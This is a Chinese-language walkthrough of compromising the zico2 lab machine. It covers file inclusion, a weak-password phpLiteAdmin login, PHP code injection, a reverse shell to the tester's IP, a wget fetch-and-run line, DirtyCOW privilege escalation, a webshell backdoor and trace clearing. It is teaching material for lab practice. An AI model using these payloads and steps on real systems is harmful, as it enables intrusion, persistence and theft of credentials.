IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> zico2靶机渗透 -> 正文阅读

[PHP知识库]zico2靶机渗透

zico2靶机渗透

1、准备

1.1、网络配置

网络设置为NAT模式

在这里插入图片描述

1.2、设备信息

靶机:

Ubuntu IP未知

测试机:

Debian IP:192.168.4.128

Windows10 IP: 192.168.1.5

2、信息收集

2.1、主机探测

查看测试机IP

在这里插入图片描述

使用nmap扫描在同一网段下的主机

在这里插入图片描述

扫描到了除了测试机以外的三台设备。

2.2、端口扫描

由于该网段下的主机数不多,可以直接使用nmap探测该网段下的所有主机开放的端口
在这里插入图片描述

发现192.168.4.129这台主机开放了22、80、111端口,所以目标确定。

查看靶机详细信息。

在这里插入图片描述

Apache版本为2.2.22

nmap 192.168.4.129 -sV -T4 -O

-sV: 指定让Nmap进行版本侦测

-T4指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4;

-O 探测操作系统信息

在这里插入图片描述

内核版本为2.6.32。

2.3、端口访问

访问192.168.4.129这台设备的80端口
在这里插入图片描述

发现一个网站!

2.4、目录扫描

使用dirsearch扫描网站目录结构

在这里插入图片描述

3、漏洞分析与检测

3.1、文件包含漏洞分析与检测

在view.php文件中参数page后面是文件名
在这里插入图片描述

猜测这里可能存在文件包含漏洞,验证一下

在这里插入图片描述

访问/etc/passwd没有回显内容,可能当前目录没有在根目录下
在这里插入图片描述

在根目录下访问到/etc/passwd文件,说明存在文件包含漏洞。

文件包含漏洞产生的原因分析:

后端代码

view.php

在这里插入图片描述

文件包含漏洞产生的原因:后端对用户输入的数据没有进行任何的过滤。

在目录扫描结果中发现dbadmin目录,猜测可能是后端管理员数据库,访问该目录

在这里插入图片描述

发现test_db.php文件,访问该文件。

3.2、弱口令漏洞分析与检测

在这里插入图片描述

发现一个登录从窗口,随意输入弱口令admin就登录进来了。

在这里插入图片描述

在这里插入图片描述

在info表中发现用户名和经过md5加密的密码,对密码解密。

用户名:root 密码:34kroot34

用户名:zico 密码:zico2215@

猜测可能是ssh用户名和密码,尝试连接

在这里插入图片描述

连接失败!

3.3、数据库远程代码注入漏洞检测

查看数据库的版本可以查找数据库可能存在的漏洞

在这里插入图片描述

该数据库版本为1.9.3,在测试机自带漏洞库中查询该版本的数据库可能存在的漏洞
在这里插入图片描述

存在远程PHP代码注入漏洞!

点击’?’
在这里插入图片描述

发现提示信息!

在这里插入图片描述

所以创建一个以.php为扩展名的数据库时实际上创建了一个php文件。

创建一个hack.php的数据库
在这里插入图片描述

在hack.php数据库下创建一个表,表名为shell

在这里插入图片描述

将<?php phpinfo(); ?>设置为shell表默认值

在这里插入图片描述

在这里插入图片描述

创建成功!

利用文件包含漏洞访问hack.php文件路径为…/…/usr/databases/hack.php

在这里插入图片描述

代码执行成功!

4、漏洞利用

4.1、构造反弹shell

创建一个attack数据库

在这里插入图片描述

在attack数据库中创建一个exp表

在这里插入图片描述

在测试机中写入exp.txt文件

<?php $exp=fsockopen("192.168.4.128",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>

补充几个点:

**函数说明:**fsockopen — 打开一个网络连接或者一个Unix套接字连接

返回值:

fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如: fgets() , fgetss() , fwrite() , fclose() 还有 feof() )。如果调用失败,将返回 FALSE 。

在这里插入图片描述

启动Apach服务

在这里插入图片描述

利用数据库上传脚本并执行

<?php system("wget 192.168.4.128/exp.txt -O /tmp/exp.php; php /tmp/exp.php");?>

wget -O save_name url 使用一个大写O做参数表示另存为

php /tmp/exp.php 执行exp.php

在这里插入图片描述

在这里插入图片描述

4.2、端口监听

在测试机上开启端口监听,监听1234端口,同时用浏览器访问attack

在这里插入图片描述

在这里插入图片描述

补充几个点

之所以能够执行exp文件里面的代码,是因为文件包含漏洞中include()函数会读取包含的文件的内容,如果文件中有php标识<?php就会将文件内容当作php代码执行。

在这里插入图片描述

反弹shell成功!

将shell转换为交互式的tty

python -c 'import pty;pty.spawn("/bin/bash")'

pty模块是一个虚拟终端库。也可以虚拟出一个串口。

spawn指pty模块的生成一个进程,并将其控制终端连接至当前进程标准IO

spawn和popen的区别

  1. 这两个从 Python 级别上面就不同, spawn 只是一个函数,Popen是一个类;
  2. spawn 是通过 fork 方式实现,然后子进程执行具体的命令,然后父进程去获取终端的输出,强调获取数据而已, 而 subprocess 提供更多进程信息的管理,比如说执行命令的状态码,子进程通信和回收等;
  3. spawn 和 操作系统的 popen系统调用,反而就是有点类似了。

在这里插入图片描述

(注:这里也可以在数据库写入一句话木马,用蚁剑链接)

在这里插入图片描述

5、提权

5.1、DIRTYCOW提权

查看靶机系统版本
在这里插入图片描述

由于靶机内核版本为2.6.32,可使用DIRTYCOW提权。

DIRTYCOW漏洞简介

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复

原理:Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。

将exp文件下载到测试机上

在这里插入图片描述

移到Debian测试机上的/var/www/html/目录下

在这里插入图片描述

将exp文件下载到靶机

在这里插入图片描述

编译dirty.c

在这里插入图片描述

补充几个点:

一般情况下,我们在链接一个(文件名为libxxx.so或libxxx.a等的)库时,会使用-lxxx的方式;在Linux中要用到多线程时,需要链接pthread库。

在这里插入图片描述

Linux系统下的多线程遵循POSIX线程接口,称为pthread。编写Linux下的多线程程序,需要使用头文件pthread.h,连接时需要使用库libpthread.a。顺便说一下,Linux下pthread的实现是通过系统调用clone()来实现的。clone()是Linux所特有的系统调用,它的使用方式类似fork。

参数-lcrypt

编译后在最后的链接阶段需要链接crypt的静态库文件(libcrypt.a)

在这里插入图片描述

执行exp2
在这里插入图片描述

获取登录用户名和密码!

查看权限

在这里插入图片描述

在这里插入图片描述

root用户已经被替换成firefart,提权成功!

5.2、WordPress目录发现

在zizo的目录下发现了WordPress目录
在这里插入图片描述

在WordPress目录中包含一些特殊的配置文件

在这里插入图片描述

发现wp-config.php文件

wp-config.php 文件是WordPress数据库的关键。数据库名、用户名、密码、位置都是在此设置。

查看wp-config.php文件

在这里插入图片描述

发现用户名和密码。

5.3、SSH远程登录

用ssh连接试试

在这里插入图片描述

成功登录!

5.4、留下后门

在根目录下发现flag.txt文件

在这里插入图片描述

在www目录下写入一句话木马

在这里插入图片描述

5.5、痕迹清除

恢复password文件

mv /tmp/passwd.bak /etc/passwd

head -1 /etc/passwd head -K(K指代行数,即输出前几位的结果)

在这里插入图片描述

5.6获取webshell权限

用中国蚁剑连接后门

在这里插入图片描述

在这里插入图片描述

6、总结

1.浏览网页时,发现?page=、?file=、?home=,后面参数值是文件名,可能存在文件包含漏洞

2.在获取到一个登录界面时,常规做法:弱口令尝试、暴力破解(字典要足够强大)、注入漏洞。

3.尝试根据数据库版本信息查找可能存在的版本漏洞

4.wp-config.php文件也存在许多重要配置信息

5.不能直接下载php文件时,可以将文件后缀名改为txt,用wget的-O参数转存为php,然后执行。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-09 10:01:53  更:2021-08-09 10:02:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/8 3:02:26-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码